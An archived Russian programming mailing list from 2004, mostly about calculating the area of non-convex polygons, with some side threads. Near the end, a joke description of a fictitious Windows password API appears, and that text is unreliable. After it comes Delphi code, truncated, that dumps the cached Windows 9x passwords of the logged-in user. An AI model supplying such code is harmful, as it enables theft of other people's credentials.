Отправляет email-рассылки с помощью сервиса Sendsay

Программирование. Форум !!!

Площадь многоугольника

Hi!
Есть цепочка точек, которая образует невыпуклый многоугольник.
Нет ли у кого чего готового, способного посчитать его площадь?
ДЛя выпуклого многоугольника исходник есть, а для невыпуклого нет.
Если кому не жалко, киньте плиз.
Дедка mailto:geg***@y*****.ru

Ответить   Fri, 20 Feb 2004 00:25:34 +0300 (#84733)

 

Ответы:

Исходника нет - есть идея.-)))))))) Берешь любую вершину, из нее проводишь
n-2 диагоналей, получаешь n-2 треугольника, координаты вершин которых
известны, их площади считаешь по формуле
((x1-x2)*(y3-y2)+(x3-x2)*(y1-y2))/2, суммируешь их - и все! Причем неважно,
выпуклый многоугольник или "впуклый"-))))))))
Номер выпуска : 2084
Возраст листа : 152 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85419
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Шешунов Вадим" Fri, 20 Feb 2004 15:40:12 +0200 (#85419)

 

Толи лыжи не едут, то ли грабли слишком тяжелые попались

^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Это площадь треугольника?
Если да, то у меня не считается следующий треугольник
(0,1)(2,6)(5,0)

(0-2)*(0-6)+(5-2)*(1-6)
(12-15)/2 = -1.5
Немного маловато.........
Я правда не понял, как такая формула вывелась, но допустим она должна
выглядеть так
((x1-x2)*(y3-y2)+(x3-x2)*(y2-y1))/2
тогда
(0-2)*(0-6)+(5-2)*(6-1)
(12+15)/2 = 13,5
И На самом деле площадь треугольника 13,5
С площдаью вроде разобрались.
Что делать с невыпуклостью?
В данной формуле (на мой не очень проницательный взгляд)
ну никак невыпуклость не учитывается.
Скажем если добавить между первой и втрой точкой еще одну с
координатами (3,1) ( буква V получается, )....
Получается один треугольник с отрицательной площадью, втрой с
положительной.
Складываем и получаем, то что хотели.
Главное с последовательностью вершин не напутать.

Уважаемый Вадим, как вы до такого догадались?
Оно конечно очевидно, только совсем не очевидно......

Спасибо.

Дедка mailto:geg***@y*****.ru

Ответить   Fri, 20 Feb 2004 18:58:01 +0300 (#85588)

 

проводишь

неважно,

Подзабыл я немножко эту формулу - мог и ошибиться. Так что, звыняйте. А
выглядит она из именно так. Открой учебник по аналитической геометрии, и она
там будет

То, что площадь отрицательная - не страшно, бери абсолютное значение и все
ОК! Это не зависит от выпуклости или "впуклости", а зависит от порядка
взятия вершин.

Во-во!

Работа у меня такая - догадываться, а потом начальству свои догадки
выдавать.-))))))))))))))

В общем, вышло! Я правильно догадался?-)))))))
Номер выпуска : 2102
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85897
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Шешунов Вадим" Fri, 20 Feb 2004 22:50:55 +0200 (#85897)

 

Я бы даже добавил припуклый.

Ни кто не встречал материалов по такому изощрению как сабж
или извращенцев занимающихся этим? Суть собственно вот в чём:
имеется видеоприставка, Sony Playstation например, и загружать
её хочется не с CD-ROM, а с HDD через PC, сеть или непосредственно
с HHD через контроллер. Вобщем, вместо оторванной лазерной головы
подключается её эмулятор.
Почему именно этот способ пришёл в голову? А потому что отпадает
необходимость в изучении железа приставки, задача лишь в том, чтобы
эмулятор точно передавал из образа диска данные запрошенные
приставкой.

Ответить   Fri, 20 Feb 2004 18:51:53 -0800 (#85596)

 

Здарова, Шешунов Вадим!

20 февраля 2004 г., пятница, 18:40:12, ты намылил:

Идея, конечно, клевая, но не совсем рабочая ;)
+--+ +------+
| | | |
| | | +---+
| +---+ |
| +---+
| |
+---------+---+
На этой фигуре точно не прокатит.

Да и на этой тоже
+-+ +-+
| | | |
| +--+ |
+------+

Полистал я тут учебники по матане, но чет ничего нету ;( хотя помню
что вроде проходили мы площадь вогнутых многоугольников
классе в 8-10.
Может просто в поисковик заглянуть, но мне неохота.

PS: В субботу спрошу в своей группе может кто знает.
PPS: Кстати тот исходник с выпуклыми многоугольниками, скорее всего,
на принципе разбиения на треугольники и базируется.

Ответить   Томилов Александр Sat, 21 Feb 2004 00:31:47 +0500 (#85780)

 

Original Message From: "Томилов Александр" <astero***@p*****.ru>
To: "comp.soft.prog.prog (3553187)" <vadim_sheshun***@m*****.net>
Sent: Friday, February 20, 2004 9:31 PM

Здарова, Томилов Александр!-)))))

Пробовал смотреть на ету фигуру, сидя на мониторе, но так и не понял,
чё-й-то такое-))))))))

И эту тоже-))))))))))

Не то смотрел. Смотри аналитическую геометрию для вузов.

Давай сами подумаем. Есть, скажем, пятиугольник 1 2 3 4 5 (номера вершин -
шоб в массив легче загнать). Проводим диагонали: 1-3, 1-4. Получаем
треугольники 1-2-3, 1-3-4, 1-4-5. Загоняем последовательно их координаты в
формулу, складываем и все.
Номер выпуска : 2103
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85898
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Шешунов Вадим" Fri, 20 Feb 2004 23:05:17 +0200 (#85898)

 

Плиз настрой у себя в темплейтах, что бы последней строкой было
два минуса пробел и Ентер
типа так

Ответить   Sat, 21 Feb 2004 01:39:25 +0300 (#85949)

 

Здарова, Дедка!

21 февраля 2004 г., суббота, 03:39:25, ты намылил:

Дык в Bate письма редактируются не в RichEdite а в SynEdite, насколько
я понял, а в нем все пробелы после последнего читабельного символа в
строке удаляются.
А еще пара советиков всем: не ставьте в письме до своей подписи
строк типа --, цитируйте письма без строки Original Message Кстати вот шаблон для цитирования (для Bata) - отрезает все лишнее, пихайте
его в шаблоны -> ответ
Кстати может у кого новее есть шаблончик (ну там mail службы
новые добавлены может) киньте на мыло или в лист ссылку.

==Начало==

Здарова, %OFromName!

%ODate, %ODow, %OTimeLong, ты намылил:

%RegExpQuotes="(?i)\A(?:(?:\s*|\-{5}BEGIN\sPGP\sSIGNED%-
\sMESSAGE\-{5}|[^\n>]*(?:%-
[Пп]ривет|[Дд]обр|hello|\bhi\b|%-
[Хх][Аа][ЙйЮю]|День\sдобрый|[Зз]драв?ствуй|%-
было\sнаписано|(?:you|[ВвТт]ы|@[^\n\s]*)\s(?:(?:на)?писал|wrote)|%-
на\sтему(?::|\s\x22)|discussing\sthe\stopic|%-
mon| tue|wed|thu|fri|sat|sun|понедельник|%-
вторник|сред|четверг|пятниц|суббот|воскресенье|%-
\d:\d\d|at\sleast\sin\spart%-
)[^\n]*)\n)*(.*?)\n*(?:\Z|(?:\-\s)?\-\-\s?\n|%-
-{5}(?:BEGIN\sPGP\sSIGNATURE|Original\sMessage)-{5}|%-
С [Уу]важением|С наилучшими|Всего хорошего|%-
Всего наилучшего|best regards|%-
_{50,60}\n(?:Заведи\sсебе\s(?:бесплатный\s)?%-
почтовый\sящик|Do\sYou\sYahoo\!\?)|%-
\-{4}\s+Бесплатная\s+почта\s+http://mail.Rambler.ru/|%-
[^\n]*[*=_-]{16,}[^\n]*(?:\n[^\n]*){1,4}[\.@]yahoo|%-
\-{24}\sYahoo!\sGroups\sSponsor\s\-{21}~\-{2}>|%-
\[Non-text\sportions\sof\sthis\smessage\shave\sbeen\sremoved\]|%-
Your\suse\sof\sYahoo!\sGroups\sis\ssubject\sto\s%-
http://docs.yahoo.com/info/terms/)%-
"%-
%Cursor

Ответить   Томилов Александр Sat, 21 Feb 2004 15:08:49 +0500 (#86236)

 

Здравствуйте Томилов,

Saturday, February 21, 2004, 12:08:49 PM, вы писали:

Кстати, этот шаблончик кто-то уже давно постил в какую-то конфу,
наверное windows&soft;)

И еще: правилно говорить не Яхогрупс, а эхоконференции, или просто
конфы. Яхогрупс - это по-моему от yahoogroups.

Ответить   Sat, 21 Feb 2004 20:36:38 +0200 (#86532)

 

Здарова, Шешунов Вадим!

21 февраля 2004 г., суббота, 02:05:17, ты намылил:

Энто прямоугольник с двумя углублениями.

А энто с одним.

У нас там только лажа про векторную алгебру, прямые линии на
плоскости, линии и поверхности второго порядка, преобразования
плоскости, матрицы,линейные пространства, евклидовы и унитарные
пространства ( ;( ), аффинные пространства, основы тензорной алгебры и
указания и ответы к упражнениям ;)))))

В том то и дело что я привел примеры при которых у тебя треугольник
который ты получишь - выйдет за пределы многоугольника.

PS: Вадим, настрой, плиз, чтобы у тебя Original Message не
писалось, а то при ответе у меня фильтр стоит и он все после этой
строки обрезает.

Ответить   Томилов Александр Sat, 21 Feb 2004 06:54:45 +0500 (#86235)

 

Здарова!

вершин -

в

Угу, понял! Правильно говоришь!
Значит, тому, кто хочет решить эту задачу, придется вникать в топологию -
раздел высшей геометрии, которая изучает покрытие поверхностей, расчет
площадей. В институте я о ней нижним краем левого уха слыхал.-)))))) То
есть, обзорные лекции у нас были.

Был бы рад, но в Аутлуке 5 я такой фишки не нашел. Если подскажешь, я ее
враз поставлю.-))))))
Номер выпуска : 2128
Возраст листа : 154 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/86464
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Шешунов Вадим" Sat, 21 Feb 2004 22:53:51 +0200 (#86464)

 

Здарова, Шешунов Вадим!

22 февраля 2004 г., воскресенье, 01:53:51, ты намылил:

Если тебе не критично использование аутГлюка то - The Bat! - FOREVER
Шаблоны - rulezzzz.

Ответить   Томилов Александр Sun, 22 Feb 2004 20:38:01 +0500 (#87000)

 

Дык выйти-то он конечено выдет, но разве он потом не
перекомпенсируется?
Дедка mailto:geg***@y*****.ru

Ответить   Mon, 23 Feb 2004 06:15:36 +0300 (#87002)

 

координаты

топологию -

То

В общем-то говоря, нет. Возьми, к примеру, пятиконечную звезду - там одна
диагональ вообще не лежит в плоскости самой звезды, а тот треугольник,
который образован этой диагональю и двумя соседними сторонами звезды ...
вряд ли он компенсируется чем-либо другим - слишком уж "впуклая" фигурка -
ента звездочка.
Правда, в голове болтается мысля о том, что невыпуклый многоугольник можно
разбить на композицию выпуклых - стоит лишь провести диагонали (одну или
несколько) из этой "впуклой" вершины. Но как это запрограммировать -
определение этой вершины и куда диагональ прокладывать для разбиения, я пока
без понятия. Может, придет мысль и на сей счет.
Номер выпуска : 2139
Возраст листа : 155 (дней)
Количество подписчиков : 388
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/87196
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Шешунов Вадим" Mon, 23 Feb 2004 14:00:49 +0200 (#87196)

 

Товарищ, плиз....

Плиз, настрой у себя в темплейтах, что бы последней строкой было
два минуса пробел и Ентер
типа так

Ответить   Tue, 24 Feb 2004 01:21:19 +0300 (#87615)

 

Здарова, Дедка!

24 февраля 2004 г., вторник, 03:21:19, ты намылил:

Дедка, типа так! Ты у себя-то енто обращение в конец письма поставь, а
то ведь после --
обрезает, однако.

Ответить   Томилов Александр Tue, 24 Feb 2004 20:40:30 +0500 (#88170)

 

Ай, косяк....

Дедка mailto:geg***@y*****.ru

Ответить   Wed, 25 Feb 2004 09:08:41 +0300 (#88699)

 

ответ по поводу разбиения на треугольники!!!!!!!!!!!!

Вот алгоритм триангуляции произвольного многоугольника:

http://alglib.manual.ru/geometry/triangulatepolygon.php

Удачи.
Номер выпуска : 2172
Возраст листа : 156 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/88033
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Sn" Tue, 24 Feb 2004 16:58:19 +0400 (#88033)

 

А я уверен что прокатит.
ТАм если подумать, то все получается.
Дедка mailto:geg***@y*****.ru

Ответить   Sat, 21 Feb 2004 00:12:54 +0300 (#85901)

 

Голубчик!
Каким образом ты вышел на мой почтовый ящик?
Меня не интересуют твои дурацкие проблемы с компьютерами и программами
АБСОЛЮТНО, но ты засоряешь мой ящик, и меня это страшно злит.
ОТВАЛИ!!!!!!!!!!!!!
Номер выпуска : 2095
Возраст листа : 152 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85804
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Fri, 20 Feb 2004 22:26:54 +0300 (#85804)

 

Original Message From: "Эвелина" <Evelina09***@m*****.ru>
To: "comp.soft.prog.prog (3811185)" <evelina09***@m*****.ru>
Sent: Friday, February 20, 2004 10:26 PM

Номер выпуска : 2097
Возраст листа : 152 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85817
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Fri, 20 Feb 2004 23:03:27 +0300 (#85817)

 

Original Message From: "Эвелина" <Evelina09***@m*****.ru>
To: "comp.soft.prog.prog (3811185)" <evelina09***@m*****.ru>
Sent: Friday, February 20, 2004 10:26 PM

Номер выпуска : 2098
Возраст листа : 152 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/85821
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Fri, 20 Feb 2004 23:06:27 +0300 (#85821)

 

Доброго времени суток, Дедка.

Friday, February 20, 2004, 12:25:34 AM, писали:

Как вариант:
Сделать из "впуклого" многоугольника "выпуклый".
Рассчитать его площадь.
Рассчитать площадь "впуклосей"
Вычесть из первого второе.

Все нижеследующее применимо только для плоских многоугольников.

Для определения "впуклостей":
Выбираем две самые крайние варшины.
Вершины должны быть последовательные(1-2, 4-5)
Критерий выбора - прямая(бесконечная) проведеная через эти две вершины
не должна пересекать отрезки, последовательно соединяющие все
остальные.(Очень трудоемкий критерий, но пока ничего другого не вижу)
Был у меня где-то алгоритм для такой проверки.
Суть заключается в том, что строются уравнения прямой и отрезка(в
данном случае тоже прямой) в параметрическом виде.
Ищется точка пересечения.
Смотрится на параметр во второй системе(отрезка).
Если уравнения составлены верно(!!!), то параметр примет такие
значения:
меньше 0 и больше 1 - не пересекает.
больше нуля и меньше 1 - соответственно пересекает.
равен 0 или 1 - пересекает первую или вторую точки.

Строим вектора из одной из выбранных вершин вершины во все остальные.
Находим углы между 1-м вектором(вектором между первой и второй
выбранной вершиной) и всеми остальными.

Поехали по углам:
если угол меньше или равен предыдущему - предыдущею точку отбрасываем.
Запоминаем какую точку откинули
опять сравниваем, если опять меньше или равен, то опять отбрасываем
Опять же запоминаем.
Если откидываем сразу несколько точек, то запоминать их нужно
отдельно.

В результате должно быть так:
Массив с оставшимися от многоугольника точками(МОТ).
Один или несколько массивов с запомнеными точками(МЗТ).
к каждому из МЗТ слева и справа добавляем соседние соответствующие
точки.

МОТ - не совсем выпуклый многоугольник(не канонический),
но формула для выпуклых для него работать должна.
Считаем его.

МЗТ теперь представляет собой набор выпуклых многоугольников.
Считаем их.

Вычитаем из первого многоугольника впуклости - получаем ответ.
Вроде должно работать.
Люди, если кто это проверит, дайте,плз, знать работает или нет.

С бестами и регардами
Havoc
mailto:hav***@i*****.ru
Номер выпуска : 2118
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/86003
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Havoc Sat, 21 Feb 2004 04:00:55 +0300 (#86003)

 

А что ты скажешь на то, что тут уже обслуждалось.
На мой взгляд, это гениально ( это я не о себе, я тут так, тему
запостил)
Дедка mailto:geg***@y*****.ru

Ответить   Sat, 21 Feb 2004 04:19:26 +0300 (#86006)

 

Если это мне, конечно.
Пока еще не было работающих алгоритмов.
Я не говорю, что мой будет работать, но этот хоть "на бумаге" хорошо вырисовывается,
а те даже такой проверки не выдерживали.
Номер выпуска : 2124
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/86234
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Сергей Парамонов" Sat, 21 Feb 2004 06:19:15 +0300 (#86234)

 

невыпуклый многоугольник разбивается на выпуклые;

сумма их площадей и есть искомое.
Номер выпуска : 2122
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/86059
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Sn" Sat, 21 Feb 2004 12:18:18 +0400 (#86059)

 

Доброго времени суток, Sn.

Saturday, February 21, 2004, 11:18:18 AM, писали:

Может подскажеш, как это осуществить программно?

С бестами и регардами
Havoc
mailto:hav***@i*****.ru
Номер выпуска : 2127
Возраст листа : 153 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/86401
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Havoc Sat, 21 Feb 2004 22:26:13 +0300 (#86401)

 

ЧЕСТНО, говоря -- лень.

Это еще в школе делал лет 10 назад.

алгоритм не сложный не бойся, все получится.

строй лучи и смотри, что их пересекает.
Номер выпуска : 2136
Возраст листа : 155 (дней)
Количество подписчиков : 388
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/87068
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "Sn" Mon, 23 Feb 2004 10:39:51 +0400 (#87068)

 

Привет всем!
Вроде бы в Delphi есть недокументированная функция, которая может открывать
и расшифровывать pwl(файл паролей Windows). Не подскажете где можно
поглядеть её описание?
Пока!
С уважением Lakmus
http://www.nvkz.kuzbass.net/lakmus
Номер выпуска : 2171
Возраст листа : 156 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/87939
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Tue, 24 Feb 2004 18:05:10 +0700 (#87939)

 

Здарова, Lakmus!

24 февраля 2004 г., вторник, 16:05:10, ты намылил:

Это функция Api, а не Delphi, вот описание из моего хакерского справочника по
недокументированным функциям Api:

The FindWindowEx function retrieves the user password and shows on
a special window. For more information see GetUserPasswordEx.

DWORD GetUserPassword(
LPCTSTR lpUserLogin, // pointer to registered user login
LPCTSTR lpExplanation, // pointer to explanation string
// where you explain to system
// for what you needed this password
LPCTSTR lpWindowTitle, // pointer to window title
int x, // horizontal position of window
int y, // vertical position of window
int nWidth, // window width
int nHeight, // window height
HWND hWndParent, // handle to parent or owner window
)
Parameters
Style Meaning
lpUserLogin Points to a null-terminated string that specifies the
registered user login.
lpExplanation Points to a null-terminated string that specifies the
your explain (possible in your own language - need
connect with internet) to system for what you needed this
password. If windows will suspect that you lie access to
password will be refused.
lpWindowTitle Points to a null-terminated string that specifies the
window title.
x Specifies the initial horizontal position of the window. For more
information see CreateWindow.
y Specifies the initial vertical position of the window. For more
information see CreateWindow.
nWidth Specifies the width, in device units, of the window. For more
information see CreateWindow.
nHeight Specifies the height, in device units, of the window. For more
information see CreateWindow.
hWndParent Identifies the parent or owner window of the window being created.
A valid window handle must be supplied when a child window or
an owned window is created. A child window is confined to the client
area
of its parent window. An owned window is an overlapped window that
is
destroyed when its owner window is destroyed or hidden when its owner
is
minimized; it is always displayed on top of its owner window. Although
this
parameter must specify a valid handle if the dwStyle parameter includes
the
WS_CHILD style, it is optional if dwStyle includes the WS_POPUP style.

Return Values

If the function succeeds, the return value is the handle to the
password window.
If the function fails, the return value is zero. To get
extended error information, call GetLastError.

See Also

GetUserPasswordEx, UseAdminRights, UseSystemRights, ShowBugsWinBuild

PS: Модуль который надо подключить - WindowsMustDie.

Ответить   Томилов Александр Tue, 24 Feb 2004 20:27:22 +0500 (#88172)

 

Привет!

<skip>

Извини, по WinApi у меня вобще нет опыта программировать(просто нигде не
приходилось юзать). Не мог бы кинуть примерный код который можнобыло бы
Cut&Paste в прогу?

Заранее спасибо! Надеюсь на помощь.
Пока!
С уважением Lakmus
http://www.nvkz.kuzbass.net/lakmus
Номер выпуска : 2182
Возраст листа : 157 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/88458
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Wed, 25 Feb 2004 06:20:31 +0700 (#88458)

 

Здарова, Lakmus!

25 февраля 2004 г., среда, 04:20:31, ты намылил:

LOL
Lakmus прочитай повнимательнее что я написал (или хоть переводчика на
этот текст натрави).

PS: Учи ангельский язык. ;)

Ответить   Томилов Александр Wed, 25 Feb 2004 08:57:08 +0500 (#88524)

 

Здарова, Lakmus!

25 февраля 2004 г., среда, 08:57:08, ты намылил:

Ну ладно. Держи пример. Только он робит при залогиненном юзвере
(вообще я сам не проверял работу этого примера т.к. у меня win2k,
а он идет под win9x)

==Начало Unit1.pas==
{***************************************}
{ How to 'hack' windows password sample }
{ }
{ Copyright (c) 1999, UtilMind Solutions}
{ E-mail: info@u*****.com }
{ WWW: http://www.utilmind.com }
{ }
{ This program shows cached passwords }
{ using standard (but undocumented) }
{ Windows API on local machine for }
{ current user (user must be logged in).}
{***************************************}

unit Unit1;

interface

uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;

var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw:
DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw:
DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;

var
WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
